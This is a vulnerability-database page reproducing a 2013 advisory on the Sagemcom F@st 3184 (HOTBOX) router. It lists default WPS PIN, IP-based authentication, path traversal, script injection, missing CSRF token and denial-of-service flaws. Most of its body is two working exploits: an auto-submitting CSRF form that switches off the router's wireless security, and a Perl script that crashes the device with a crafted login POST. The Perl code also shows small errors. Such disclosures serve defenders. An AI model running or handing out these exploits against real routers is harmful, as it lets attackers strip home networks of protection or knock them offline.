Sagemcom F@st 3184 2.1.11 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Sagemcom F@st 3184 2.1.11 - Multiple Vulnerabilities affecting HOTBOX router/modem including Default WPS Pin, Authentication vulnerability, DoS, Path Traversal, Script Injection, and CSRF Token missing

Reporter	Title	Published	Views	Family All 35
0day.today	HOTBOX 2.1.11 CSRF / Traversal / Denial Of Service	5 Nov 201300:00	–	zdt
0day.today	Sagemcom [email protected] 3184 2.1.11 - Multiple Vulnerabilities	8 Nov 201300:00	–	zdt
CVE	CVE-2013-5037	30 Dec 201302:00	–	cve
CVE	CVE-2013-5038	30 Dec 201302:00	–	cve
CVE	CVE-2013-5039	30 Dec 201302:00	–	cve
CVE	CVE-2013-5218	30 Dec 201302:00	–	cve
CVE	CVE-2013-5219	30 Dec 201302:00	–	cve
CVE	CVE-2013-5220	30 Dec 201302:00	–	cve
Cvelist	CVE-2013-5037	30 Dec 201302:00	–	cvelist
Cvelist	CVE-2013-5038	30 Dec 201302:00	–	cvelist


                                                +------------------------------------------------------------------------------+
| HOTBOX is the leading router/modem appliance of      |
|  HOT Cable communication company in israel.           |
| The Appliance is manufactured by SAGEMCOM         |
| and carries the model name F@st 3184.                     |
+------------------------------------------------------------------------------+
| Title: HOTBOX Multiple Vulnerabilities                         |
+--------------------+---------------------------------------------------------+
| Release Date       | 2013/09/09                                    |
| Researcher         | Oz Elisyan                                     |
+--------------------+---------------------------------------------------------+
| System Affected    | HOTBOX Router/Modem               |
| Versions Affected  | 2.1.11 , possibly earlier                 |
| Related CVE Numbers | CVE-2013-5037, CVE-2013-5038|
| CVE-2013-5220, CVE-2013-5219, CVE-2013-5218,       |
| CVE-2013-5039                                                         |
| Vendor Patched | N/A                                                 |
| Classification     | 0-day                                              |
| Exploits | http://elisyan.com/hotboxDoS.pl,                  |
| http://elisyan.com/hotboxCSRF.html                           |
+--------------------+---------------------------------------------------------+

Vulnerabilities List -
# Default WPS Pin
# Authentication based on IP Address
# DoS via crafted POST
# Path/Directory Traversal
# Script injection via DHCP request
# No CSRF Token

Demo -
http://www.youtube.com/watch?v=CPlT09ZIj48



CSRF EXPLOIT: 


&#60;html&#62;
    &#60;form action=&#39;http://192.168.1.1/goform/wlanBasicSecurity&#39; method=&#39;POST&#39; id=1&#62;
        &#60;input type=hidden name=&#34;WirelessMacAddr&#34; value=&#34;C0%3AAC%3A54%3AF8%3A67%3A58&#34; id=&#34;WirelessMacAddr&#34;&#62;
        &#60;input type=hidden name=&#34;WirelessEnable1&#34; value=&#34;1&#34; id=&#34;WirelessEnable1&#34;&#62;
    &#60;input type=hidden name=&#34;ServiceSetIdentifier1&#34; value=&#34;Elisyan&#34; id=&#34;ServiceSetIdentifier1&#34;&#62;
    &#60;input type=hidden name=&#34;WirelessVendorMode&#34; value=&#34;3&#34; id=&#34;WirelessVendorMode&#34;&#62;
    &#60;input type=hidden name=&#34;ChannelNumber1&#34; value=&#34;0&#34; id=&#34;ChannelNumber1&#34;&#62;
    &#60;input type=hidden name=&#34;NBandwidth1&#34; value=&#34;20&#34; id=&#34;NBandwidth1&#34;&#62;
    &#60;input type=hidden name=&#34;ClosedNetwork1&#34; value=&#34;0&#34; id=&#34;ClosedNetwork1&#34;&#62;
    &#60;input type=hidden name=&#34;WifiSecurity&#34; value=&#34;0&#34; id=&#34;WifiSecurity&#34;&#62;
    &#60;input type=hidden name=&#34;commitwlanBasicSecurity&#34; value=&#34;1&#34; id=&#34;commitwlanBasicSecurity&#34;&#62;
    &#60;input type=hidden name=&#34;restoreWirelessDefaults1&#34; value=&#34;0&#34; id=&#34;restoreWirelessDefaults1&#34;&#62;
    &#60;input type=hidden name=&#34;scanActions1&#34; value=&#34;0&#34; id=&#34;scanActions1&#34;&#62;
    &#60;input type=hidden name=&#34;AutoSecurity1&#34; value=&#34;1&#34; id=&#34;AutoSecurity1&#34;&#62;
    &#60;input type=hidden name=&#34;wpsActions1&#34; value=&#34;0&#34; id=&#34;wpsActions1&#34;&#62;
    

    &#60;/form&#62;
&#60;/html&#62;
&#60;script&#62;document.getElementById(1).submit();&#60;/script&#62;



DENIAL OF SERVICE EXPLOIT:

use warnings;
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;


# Author: Oz Elisyan
# Date: 3 September 2013
# Affected Version: &#60;= 2.1.11

print &#34;# HOTBOX DoS PoC #\n\n&#34;

unless ($ARGV[0]){
  print &#34;Please Enter Valid Host Name.\n&#34;;
  exit();
}

print &#34;Sending Evil POST request...\n&#34;;

my $HOST = $ARGV[0];
my $URL = &#34;http://$HOST/goform/login&#34;;
my $PostData = &#34;loginUsername=aaaloginPassword=aaa&#34;
my $browser = LWP::UserAgent-&#62;new();
my $req = HTTP::Request-&#62;new(POST =&#62; $URL);
$req-&#62;content_type(&#34;application/x-www-form-urlencoded&#34;);
$req-&#62;content($PostData);
my $resp = $browser-&#62;request($req);

print &#34;Done.&#34;;

01 Jul 2014 00:00Current

6.4Medium risk

Vulners AI Score6.4

EPSS0.015